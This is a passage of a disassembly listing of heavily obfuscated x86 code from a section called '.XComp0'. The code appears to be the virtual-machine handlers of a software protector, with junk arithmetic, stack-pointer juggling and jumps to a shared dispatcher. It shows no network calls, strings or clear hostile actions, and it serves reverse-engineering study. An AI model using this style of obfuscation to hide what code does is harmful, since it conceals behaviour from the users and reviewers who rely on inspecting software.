		sub	bl, 0FDh
		shr	bl, 2
		sub	bl, 90h
		xor	dl, bl
		pop	ebx
		sub	bl, dl
		pop	edx
		add	bl, ah
		jmp	loc_58104B
; ---------------------------------------------------------------------------


loc_57BDE2:				; CODE XREF: .XComp0:0057A6AFj
		pop	eax
		sub	edx, eax
		pop	eax
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_57C1E7
; ---------------------------------------------------------------------------


loc_57BDF7:				; CODE XREF: .XComp0:005812A8j
		jmp	loc_573541
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	7F50h
		mov	[esp], ebx
		push	esp
		jmp	loc_57F59C
; ---------------------------------------------------------------------------


loc_57BE0E:				; CODE XREF: .XComp0:00582DDCj
		push	eax
		mov	eax, 4
		jmp	loc_57BDB9
; ---------------------------------------------------------------------------


loc_57BE19:				; CODE XREF: .XComp0:00577D5Cj
		sub	esp, 2
		jmp	loc_583059
; ---------------------------------------------------------------------------


loc_57BE21:				; CODE XREF: .XComp0:0057FB9Aj
		add	ebx, ebp
		pop	ebp
		push	edi
		mov	edi, 1F4E3380h
		add	ebx, edi
		jmp	loc_574B35
; ---------------------------------------------------------------------------


loc_57BE31:				; CODE XREF: .XComp0:0057BC04j
		pop	ebx
		add	edx, edi
		jmp	loc_57C17C
; ---------------------------------------------------------------------------


loc_57BE39:				; CODE XREF: .XComp0:00577B3Bj
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_57D881
; ---------------------------------------------------------------------------


loc_57BE44:				; CODE XREF: .XComp0:005782A5j
		push	ecx
		mov	ecx, 2
		push	edi
		mov	edi, 5BC33666h
		add	edx, 165567BCh
		jmp	loc_575F39
; ---------------------------------------------------------------------------


loc_57BE5B:				; CODE XREF: .XComp0:0057B964j
		mov	[esp], ebx
		push	ecx
		jmp	loc_578F0A
; ---------------------------------------------------------------------------


loc_57BE64:				; CODE XREF: .XComp0:005741CEj
		add	ebx, 7B13EA5Eh
		sub	[esp+4], ebx
		push	dword ptr [esp]
		jmp	loc_576A98
; ---------------------------------------------------------------------------


loc_57BE76:				; CODE XREF: .XComp0:00580563j
		push	6EFA228Bh
		pop	ecx
		add	ecx, 0D6A0915h
		sub	ecx, 0FFFFFFFFh
		jmp	loc_57BDA5
; ---------------------------------------------------------------------------


loc_57BE8D:				; CODE XREF: .XComp0:005776BFj
		pop	esi
		sub	ebx, 0F69799E4h
		push	ebp
		mov	ebp, 290F0E31h
		jmp	loc_5778BC
; ---------------------------------------------------------------------------


loc_57BE9F:				; CODE XREF: .XComp0:00574F1Ej
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	cx
		jmp	loc_57D18A
; ---------------------------------------------------------------------------


loc_57BEB2:				; CODE XREF: .XComp0:00582677j
		add	ecx, 663C232Ah
		or	esi, ecx
		pop	ecx
		push	eax
		sub	esp, 4
		jmp	loc_5740F5
; ---------------------------------------------------------------------------


loc_57BEC7:				; CODE XREF: .XComp0:0057C9CEj
		pop	edx
		push	1B06h
		mov	[esp], eax
		jmp	loc_57F41D
; ---------------------------------------------------------------------------


loc_57BED5:				; CODE XREF: .XComp0:00582F99j
		push	ecx
		mov	ecx, 543E70EBh
		add	eax, ecx
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5738E2
; ---------------------------------------------------------------------------


loc_57BEEF:				; CODE XREF: .XComp0:00577A19j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57BF05:				; CODE XREF: .XComp0:0057B631j
		push	ebp
		mov	ebp, 30D82C9Fh
		xor	ebp, 23B37AFFh
		not	ebp
		shr	ebp, 3
		sub	ebp, 1D92952Fh
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_573DBC
; ---------------------------------------------------------------------------


loc_57BF2B:				; CODE XREF: .XComp0:0057AADDj
		push	eax
		mov	eax, 63EC22F6h
		sub	eax, 63ED32F6h
		add	edx, eax
		pop	eax
		push	ecx
		jmp	loc_57AE0D
; ---------------------------------------------------------------------------


loc_57BF3F:				; CODE XREF: .XComp0:00579053j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		push	esi
		mov	si, 3D07h
		inc	si
		add	si, 4DCFh
		add	si, 0E9AEh
		jmp	loc_580254
; ---------------------------------------------------------------------------


loc_57BF60:				; CODE XREF: .XComp0:00574C28j
		mov	dl, ah
		mov	cl, dl
		pop	edx
		pop	eax
		mov	ah, cl
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5756AB
; ---------------------------------------------------------------------------


loc_57BF76:				; CODE XREF: .XComp0:00573C07j
		pop	ebp
		xor	edx, [esp]
		jmp	loc_57C276
; ---------------------------------------------------------------------------


loc_57BF7F:				; CODE XREF: .XComp0:0057C681j
		push	ebp
		jmp	loc_5804A4
; ---------------------------------------------------------------------------


loc_57BF85:				; CODE XREF: .XComp0:00580F8Fj
		pop	edi
		push	ebp
		mov	ebp, 69365318h
		dec	ebp
		jmp	loc_57DF9F
; ---------------------------------------------------------------------------


loc_57BF92:				; CODE XREF: .XComp0:00575FD6j
		mov	edx, 554149C6h
		add	edx, 338E4775h
		or	edx, 1ED91CD4h
		sub	edx, 28365992h
		push	ebp
		mov	ebp, 7C062928h
		sub	edx, ebp
		pop	ebp
		not	edx
		xor	edx, 6D78AA5Bh
		add	esi, edx
		pop	edx
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57BFC9:				; CODE XREF: .XComp0:005793D3j
		pop	esp
		pop	ebp
		push	edi
		push	ebx
		mov	ebx, 60A363F8h
		mov	edi, 9F5C9C09h
		jmp	loc_577DF0
; ---------------------------------------------------------------------------


loc_57BFDC:				; CODE XREF: .XComp0:0057824Dj
		mov	eax, 2
		mov	edx, eax
		pop	eax
		add	ebp, edx
		pop	edx
		jmp	loc_57FC7F
; ---------------------------------------------------------------------------


loc_57BFEC:				; CODE XREF: .XComp0:00576DABj
		pop	esp
		mov	[esp], eax
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57BFF5:				; CODE XREF: .XComp0:0057B02Bj
		inc	edi
		jmp	loc_581E57
; ---------------------------------------------------------------------------


loc_57BFFB:				; CODE XREF: .XComp0:00573B84j
		not	ebp
		jmp	loc_579591
; ---------------------------------------------------------------------------


loc_57C002:				; CODE XREF: .XComp0:0057F77Ej
		sub	esi, 7E62EF0h
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, 0C9E7B0F9h
		add	ebx, edi
		pop	edi
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 2
		push	edi
		jmp	loc_57B0E5
; ---------------------------------------------------------------------------


loc_57C02C:				; CODE XREF: .XComp0:00581918j
		pop	edx
		jmp	loc_577052
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57C039:				; CODE XREF: .XComp0:0057AABCj
		push	dword ptr [esp]
		jmp	loc_57E26E
; ---------------------------------------------------------------------------


loc_57C041:				; CODE XREF: .XComp0:005824C6j
		pop	esp
		or	[esp], al
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57C04B:				; CODE XREF: .XComp0:0057C46Bj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_575B58
; ---------------------------------------------------------------------------


loc_57C057:				; CODE XREF: .XComp0:005827A8j
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5736A6
; ---------------------------------------------------------------------------


loc_57C06F:				; CODE XREF: .XComp0:00582C29j
		push	esp
		pop	ebx
		sub	esp, 4
		jmp	loc_57A7CF
; ---------------------------------------------------------------------------


loc_57C079:				; CODE XREF: .XComp0:00583410j
		xor	al, cl
		mov	cx, [esp]
		jmp	loc_582EF8
; ---------------------------------------------------------------------------


loc_57C084:				; CODE XREF: .XComp0:00576C34j
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_579AD9
; ---------------------------------------------------------------------------


loc_57C093:				; CODE XREF: .XComp0:00578E3Aj
		or	eax, 358C359Fh
		sub	eax, 3D51D69h
		sub	eax, 3128370Eh
		sub	eax, 0C0A06144h
		add	edi, eax
		pop	eax
		push	esi
		jmp	loc_57809F
; ---------------------------------------------------------------------------


loc_57C0B0:				; CODE XREF: .XComp0:005773A4j
		add	esp, 4
		sub	esp, 4
		jmp	loc_582FF7
; ---------------------------------------------------------------------------


loc_57C0C1:				; CODE XREF: .XComp0:0057E4AAj
		mov	[esp], esi
		mov	esi, 6ED6586Ch
		jmp	loc_576889
; ---------------------------------------------------------------------------


loc_57C0CE:				; CODE XREF: .XComp0:00578D7Dj
		mov	eax, 0E54E0FF2h
		add	eax, ebx
		pop	ebx
		add	eax, 543D75h
		jmp	loc_579754
; ---------------------------------------------------------------------------


loc_57C0E0:				; CODE XREF: .XComp0:005742BDj
		mov	ebx, ecx
		jmp	loc_574183
; ---------------------------------------------------------------------------


loc_57C0E7:				; CODE XREF: .XComp0:0057EECBj
		shr	ch, 2
		shr	ch, 1
		jmp	loc_579DE2
; ---------------------------------------------------------------------------


loc_57C0F1:				; CODE XREF: .XComp0:00578517j
		add	esp, 4
		xor	eax, 41E317Ah
		sub	eax, 0C0EA1D01h
		xor	esi, eax
		pop	eax
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_580BB9
		push	dword ptr [edi+1Ch]
		jmp	loc_57A3B5
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_582711
; ---------------------------------------------------------------------------


loc_57C11C:				; CODE XREF: .XComp0:0057B442j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	3239h
		jmp	loc_5783F1
; ---------------------------------------------------------------------------


loc_57C136:				; CODE XREF: .XComp0:0057CCCDj
		sub	esi, 7D22535Fh
		dec	esi
		jmp	loc_5803AF
; ---------------------------------------------------------------------------


loc_57C142:				; CODE XREF: .XComp0:005766DFj
		push	edx
		mov	dh, ch
		not	dh
		jmp	loc_57EEC6
; ---------------------------------------------------------------------------


loc_57C14C:				; CODE XREF: .XComp0:0057C282j
		add	esp, 4
		push	5D4Bh
		mov	[esp], ecx
		jmp	loc_57B86F
; ---------------------------------------------------------------------------


loc_57C15F:				; CODE XREF: .XComp0:0057DD8Bj
		mov	[esp], esi
		mov	esi, 4C6103EEh
		xor	edx, esi
		pop	esi
		add	eax, edx
		pop	edx
		sub	esp, 4
		jmp	loc_5806A7
; ---------------------------------------------------------------------------


loc_57C175:				; CODE XREF: .XComp0:00582365j
		add	eax, ecx
		jmp	loc_575E1B
; ---------------------------------------------------------------------------


loc_57C17C:				; CODE XREF: .XComp0:0057BE34j
		pop	edi
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_578FD0
; ---------------------------------------------------------------------------


loc_57C189:				; CODE XREF: .XComp0:00581084j
		add	ecx, 0B900239h
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	7E24h
		mov	[esp], ecx
		jmp	loc_57752B
; ---------------------------------------------------------------------------


loc_57C1B5:				; CODE XREF: .XComp0:0057ED06j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	7A14h
		mov	[esp], edi
		jmp	loc_57D781
; ---------------------------------------------------------------------------


loc_57C1CE:				; CODE XREF: .XComp0:00577D3Aj
		and	ebx, 6B1B0E46h
		add	ebx, 0D5E9FA00h
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57B891
; ---------------------------------------------------------------------------


loc_57C1E7:				; CODE XREF: .XComp0:0057BDF2j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_57FA0C
; ---------------------------------------------------------------------------


loc_57C1F9:				; CODE XREF: .XComp0:0058296Bj
		add	ebx, 2B4A49B4h
		not	ebx
		add	ebx, 701C6DA1h
		add	edi, ebx
		pop	ebx
		xchg	edi, edx
		shr	edx, 1
		jmp	loc_579B0C
; ---------------------------------------------------------------------------


loc_57C213:				; CODE XREF: .XComp0:0057E0D5j
		sub	esp, 4
		jmp	loc_57D05F
; ---------------------------------------------------------------------------


loc_57C21E:				; CODE XREF: .XComp0:00579F18j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5827AD
; ---------------------------------------------------------------------------


loc_57C23A:				; CODE XREF: .XComp0:005784A7j
		xor	ebp, 31684C1Ah
		pop	edi
		sub	ebp, 36910229h
		sub	ebp, 343272B7h
		push	ecx
		mov	ecx, 2B16552Eh
		add	ebp, ecx
		pop	ecx
		jmp	loc_578A81
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	755Dh
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		jmp	loc_57CE02
; ---------------------------------------------------------------------------


loc_57C26E:				; CODE XREF: .XComp0:00574267j
		mov	esp, [esp]
		jmp	loc_57EB29
; ---------------------------------------------------------------------------


loc_57C276:				; CODE XREF: .XComp0:0057BF7Aj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	ebx, [esp]
		jmp	loc_57C14C
; ---------------------------------------------------------------------------


loc_57C287:				; CODE XREF: .XComp0:00578BF9j
		shr	ebp, 6
		and	ebp, 496278D7h
		jmp	loc_57972C
; ---------------------------------------------------------------------------


loc_57C295:				; CODE XREF: .XComp0:0058076Aj
		xchg	edi, [esp]
		jmp	loc_57DAFF
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57C2A4:				; CODE XREF: .XComp0:0057E555j
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	edx
		mov	edx, 4
		add	ecx, 0CCF0FCAh
		jmp	loc_57BC1D
; ---------------------------------------------------------------------------


loc_57C2BD:				; CODE XREF: .XComp0:0057DBAEj
		mov	[esp], edx
		mov	edx, 56D57EB4h
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 615A0086h
		jmp	loc_57DE41
; ---------------------------------------------------------------------------


loc_57C2DA:				; CODE XREF: .XComp0:0057BA5Aj
		sub	eax, ecx
		pop	ecx
		jmp	loc_57B6C7
; ---------------------------------------------------------------------------


loc_57C2E2:				; CODE XREF: .XComp0:0057A427j
		push	2D57h
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		jmp	loc_57D37E
; ---------------------------------------------------------------------------


loc_57C2F5:				; CODE XREF: .XComp0:00576070j
		push	6A26h
		mov	[esp], ecx
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57C302:				; CODE XREF: .XComp0:0057A599j
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	595Dh
		mov	[esp], eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_57A2C4
; ---------------------------------------------------------------------------


loc_57C343:				; CODE XREF: .XComp0:00577E70j
		or	eax, edi
		pop	edi
		push	edi
		mov	edi, 744E5BF4h
		add	edi, 0BD69D250h
		or	eax, edi
		pop	edi
		xor	eax, 7DBB2FFBh
		add	esi, eax
		pop	eax
		push	eax
		jmp	loc_57D7F6
; ---------------------------------------------------------------------------


loc_57C363:				; CODE XREF: .XComp0:0058150Fj
		not	ecx
		xchg	ecx, [esp]
		jmp	loc_573553
; ---------------------------------------------------------------------------


loc_57C36D:				; CODE XREF: .XComp0:0057C59Fj
		xor	esi, 0BE3EAE3Ch
		sub	ebp, 60654FBh
		sub	ebp, esi
		add	ebp, 60654FBh
		mov	esi, [esp]
		add	esp, 4
		sub	ebp, 0BFB3786Ah
		push	ebp
		add	dword ptr [esp], 35B96FDCh
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_583498
; ---------------------------------------------------------------------------


loc_57C3A1:				; CODE XREF: .XComp0:0057951Dj
		sub	bl, 0FBh
		sub	bl, al
		add	bl, 0FBh
		sub	bl, 37h
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 0C3h
		add	bl, dl
		pop	dx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	691Ah
		mov	[esp], eax
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57C3CF:				; CODE XREF: .XComp0:0058000Dj
		xor	ecx, 434D6FECh
		sub	ecx, 0B8D4E722h
		xor	eax, ecx
		jmp	loc_579AD3
; ---------------------------------------------------------------------------


loc_57C3E2:				; CODE XREF: .XComp0:00579918j
		push	ebp
		jmp	loc_582C15
; ---------------------------------------------------------------------------


loc_57C3E8:				; CODE XREF: .XComp0:00577925j
		sub	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_57EBAE
; ---------------------------------------------------------------------------


loc_57C3FA:				; CODE XREF: .XComp0:0057AD01j
		rep movsd
		jmp	loc_577100
; ---------------------------------------------------------------------------


loc_57C401:				; CODE XREF: .XComp0:0057FD02j
		push	esi
		jmp	loc_58209F
; ---------------------------------------------------------------------------


loc_57C407:				; CODE XREF: .XComp0:0057B718j
		pop	esp
		push	ebp
		mov	ebp, 199C383Fh
		add	ebx, ebp
		jmp	loc_5741A9
; ---------------------------------------------------------------------------


loc_57C415:				; CODE XREF: .XComp0:0057F643j
		pop	dword ptr [esp]
		push	ebx
		jmp	loc_5807F9
; ---------------------------------------------------------------------------


loc_57C41E:				; CODE XREF: .XComp0:0057D735j
		mov	esi, 18DC158Eh
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_5735B9
; ---------------------------------------------------------------------------


loc_57C42D:				; CODE XREF: .XComp0:00582816j
		push	75F20593h
		jmp	loc_57B5D8
; ---------------------------------------------------------------------------


loc_57C437:				; CODE XREF: .XComp0:005807F4j
		push	edx
		mov	edx, 53760Eh
		xor	edx, 51D409B9h
		sub	edx, 331A31B5h
		or	edx, 1B937579h
		xor	edx, 6698191Ch
		xor	eax, edx
		jmp	loc_57B586
; ---------------------------------------------------------------------------


loc_57C45C:				; CODE XREF: .XComp0:0057CA3Aj
		add	ecx, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_57C04B
; ---------------------------------------------------------------------------


loc_57C470:				; CODE XREF: .XComp0:0057A66Aj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		jmp	loc_576FDC
; ---------------------------------------------------------------------------


loc_57C47D:				; CODE XREF: .XComp0:00580D4Ej
		push	ebx
		mov	ebx, 0DAF00B74h
		jmp	loc_57FB45
; ---------------------------------------------------------------------------


loc_57C488:				; CODE XREF: .XComp0:0057E059j
		mov	[esp], ebx
		mov	bl, 45h
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 0D5h
		push	eax
		jmp	loc_578F46
; ---------------------------------------------------------------------------


loc_57C49C:				; CODE XREF: .XComp0:005787D3j
		mov	di, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		push	esi
		push	esp
		jmp	loc_57497D
; ---------------------------------------------------------------------------


loc_57C4B8:				; CODE XREF: .XComp0:00578EAEj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_581057
; ---------------------------------------------------------------------------


loc_57C4C6:				; CODE XREF: .XComp0:0057B4CBj
		sub	edx, ebx
		jmp	loc_579EC9
; ---------------------------------------------------------------------------


loc_57C4CD:				; CODE XREF: .XComp0:0057ACC1j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_575508
; ---------------------------------------------------------------------------


loc_57C4DB:				; CODE XREF: .XComp0:00579EDAj
		add	ecx, 4
		jmp	loc_58331D
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_579522
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_573BA1
; ---------------------------------------------------------------------------


loc_57C4FB:				; CODE XREF: .XComp0:00580974j
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	edi, 12062843h
		add	edi, edx
		sub	edi, 12062843h
		mov	edx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57C529:				; CODE XREF: .XComp0:0057664Fj
		push	ebp
		mov	ebp, 6A4A2052h
		jmp	loc_57A00E
; ---------------------------------------------------------------------------


loc_57C534:				; CODE XREF: .XComp0:00576D4Bj
		mov	esi, esp
		jmp	loc_57E34E
; ---------------------------------------------------------------------------


loc_57C53B:				; CODE XREF: .XComp0:0057EC9Fj
		push	ecx
		jmp	loc_57E6A4
; ---------------------------------------------------------------------------


loc_57C541:				; CODE XREF: .XComp0:0057A55Fj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 77545BB1h
		push	ebx
		mov	ebx, 23E15119h
		jmp	loc_57D195
; ---------------------------------------------------------------------------


loc_57C55E:				; CODE XREF: .XComp0:0057DAB5j
		xor	edx, ebp
		jmp	loc_57671B
; ---------------------------------------------------------------------------


loc_57C565:				; CODE XREF: .XComp0:0057EFDAj
		mov	edx, 41FE4064h
		mov	edi, 9FC0370h
		xor	edi, edx
		pop	edx
		xor	edi, 6CF254C6h
		not	edi
		sub	edi, 53A625DDh
		shl	edi, 4
		xor	edi, 44343FEFh
		sub	edi, 1E40F6Bh
		xor	edx, edi
		pop	edi
		not	edx
		jmp	loc_57A7E4
; ---------------------------------------------------------------------------


loc_57C599:				; CODE XREF: .XComp0:0057E3EDj
		xor	esi, 363E0E32h
		jmp	loc_57C36D
; ---------------------------------------------------------------------------


loc_57C5A4:				; CODE XREF: .XComp0:0057D2C4j
		sub	edi, 3B3B6711h
		add	edi, eax
		add	edi, 3B3B6711h
		pop	eax
		xor	edi, 4D1426A3h
		push	edi
		jmp	loc_579D87
; ---------------------------------------------------------------------------


loc_57C5BF:				; CODE XREF: .XComp0:005834A8j
		sub	dword ptr [esp], 47BF03D6h
		push	edi
		push	edx
		jmp	loc_5767BD
; ---------------------------------------------------------------------------


loc_57C5CD:				; CODE XREF: .XComp0:00574970j
		mov	ecx, [esp]
		jmp	loc_57D6F3
; ---------------------------------------------------------------------------


loc_57C5D5:				; CODE XREF: .XComp0:00579CA9j
		mov	esi, eax
		pop	eax
		sub	ebx, esi
		mov	esi, [esp]
		jmp	loc_5824B0
; ---------------------------------------------------------------------------


loc_57C5E2:				; CODE XREF: .XComp0:005827BFj
		mov	ebp, esp
		push	esi
		mov	esi, 0B3A3FCAh
		and	esi, 709951C7h
		shr	esi, 5
		push	6B71h
		mov	[esp], eax
		mov	eax, 2FDA0DCDh
		push	ebx
		jmp	loc_581A1C
; ---------------------------------------------------------------------------


loc_57C606:				; CODE XREF: .XComp0:00583301j
		mov	ebp, 34231487h
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		shl	ebp, 3
		push	edx
		push	edi
		jmp	loc_57AF66
; ---------------------------------------------------------------------------
		push	536h
		mov	[esp], ecx
		mov	ecx, 3Ch
		add	ecx, edi
		push	dword ptr [ecx]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_583597
; ---------------------------------------------------------------------------


loc_57C639:				; CODE XREF: .XComp0:0057941Ej
		add	edi, 4
		add	edi, 4
		push	570h
		jmp	loc_57E08B
; ---------------------------------------------------------------------------


loc_57C64F:				; CODE XREF: .XComp0:0057DEB1j
		mov	ebp, 7CFE7865h
		not	ebp
		neg	ebp
		sub	ebp, 3F755367h
		and	ebp, 2F510357h
		add	ebp, 32733EAEh
		sub	edi, ebp
		pop	ebp
		push	edx
		mov	edx, 5B4347DFh
		not	edx
		jmp	loc_577BD1
; ---------------------------------------------------------------------------


loc_57C67A:				; CODE XREF: .XComp0:005832EDj
		pop	edi
		add	edi, 4
		jmp	loc_57BF7F
; ---------------------------------------------------------------------------


loc_57C686:				; CODE XREF: .XComp0:00575D92j
		sub	eax, 0C0313158h
		add	ebp, eax
		jmp	loc_5766E4
; ---------------------------------------------------------------------------


loc_57C692:				; CODE XREF: .XComp0:00582AE7j
		push	ebp
		push	edi
		mov	edi, 6366F78h
		not	edi
		jmp	loc_57DCF7
; ---------------------------------------------------------------------------


loc_57C6A0:				; CODE XREF: .XComp0:005792B4j
		mov	esi, 3277298Eh
		jmp	loc_578302
; ---------------------------------------------------------------------------


loc_57C6AA:				; CODE XREF: .XComp0:0057F75Bj
		add	esp, 4
		and	ecx, ebp
		pop	ebp
		xor	ecx, 4
		push	ebp
		mov	ebp, ecx
		mov	edi, ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 0Ah
		push	ebx
		push	ebp
		push	esp
		jmp	loc_57AF2C
; ---------------------------------------------------------------------------


loc_57C6D5:				; CODE XREF: .XComp0:0057489Aj
		add	dword ptr [esp], 42C23D0Eh
		pop	esi
		sub	esi, 42C23D0Eh
		mov	edi, [esp]
		push	53F9h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_57CF24
; ---------------------------------------------------------------------------


loc_57C6F5:				; CODE XREF: .XComp0:00582841j
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_581DCD
; ---------------------------------------------------------------------------


loc_57C702:				; CODE XREF: .XComp0:00579AFFj
		sub	eax, 5ECD10C0h
		sub	eax, 2F47B2Fh
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		push	4324h
		mov	[esp], ecx
		mov	ecx, 22ED6A13h
		xor	ecx, 0CF0129Bh
		or	ecx, 4E242312h
		push	esi
		mov	esi, 4A402924h
		neg	esi
		jmp	loc_577761
; ---------------------------------------------------------------------------


loc_57C74A:				; CODE XREF: .XComp0:00582164j
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_573BFD
; ---------------------------------------------------------------------------


loc_57C754:				; CODE XREF: .XComp0:00578B4Bj
		push	911h
		mov	[esp], edi
		push	ebp
		mov	ebp, ecx
		jmp	loc_57562D
; ---------------------------------------------------------------------------


loc_57C764:				; CODE XREF: .XComp0:0057F36Aj
		xor	ebp, 0E351C087h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_57A9BE
; ---------------------------------------------------------------------------


loc_57C772:				; CODE XREF: .XComp0:00579DFBj
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_57A0F9
; ---------------------------------------------------------------------------


loc_57C780:				; CODE XREF: .XComp0:005812D3j
		pop	edx
		push	esi
		push	eax
		jmp	loc_5800A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57C788:				; CODE XREF: sub_5A47B5-220A9j
		shr	dh, 1
		dec	dh
		xor	dh, 9Dh
		add	dh, 0F2h
		jmp	loc_580349
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_57C797:				; CODE XREF: .XComp0:005777A5j
		pop	ebp
		sub	eax, ebx
		pop	ebx
		jmp	loc_580E09
; ---------------------------------------------------------------------------


loc_57C7A0:				; CODE XREF: .XComp0:005793CBj
		pop	edi
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5816B6
; ---------------------------------------------------------------------------


loc_57C7B5:				; CODE XREF: .XComp0:0058130Ej
		mov	si, 7351h
		jmp	loc_579E00
; ---------------------------------------------------------------------------


loc_57C7BE:				; CODE XREF: .XComp0:0058269Aj
		add	eax, 36F01F05h
		add	eax, edx
		jmp	loc_576D23
; ---------------------------------------------------------------------------


loc_57C7CA:				; CODE XREF: .XComp0:00573744j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_5832F2
; ---------------------------------------------------------------------------


loc_57C7D8:				; CODE XREF: .XComp0:0057B99Bj
		pop	edx
		push	edi
		jmp	loc_57A5BA
; ---------------------------------------------------------------------------


loc_57C7DF:				; CODE XREF: .XComp0:0057826Dj
		xor	edi, 2C62239h
		mov	esi, edi
		pop	edi
		neg	esi
		sub	esi, 0B2F1557h
		sub	esi, 70086344h
		add	esi, 0B0E802FEh
		sub	esi, 9966B2B9h
		sub	esi, eax
		pop	eax
		sub	eax, esi
		jmp	loc_581FC4
; ---------------------------------------------------------------------------


loc_57C80C:				; CODE XREF: .XComp0:0057D741j
		mov	ebx, 3A184F8Dh
		sub	ebx, 4616782Dh
		jmp	loc_57ED21
; ---------------------------------------------------------------------------


loc_57C81C:				; CODE XREF: .XComp0:005819C6j
		or	ah, 0C4h
		xor	ah, 81h
		sub	bh, 0E5h
		sub	bh, 0C1h
		add	bh, 0FAh
		add	bh, ah
		sub	bh, 0FAh
		push	175Bh
		jmp	loc_582DAE
; ---------------------------------------------------------------------------


loc_57C83A:				; CODE XREF: .XComp0:0057FE44j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_57F9C1
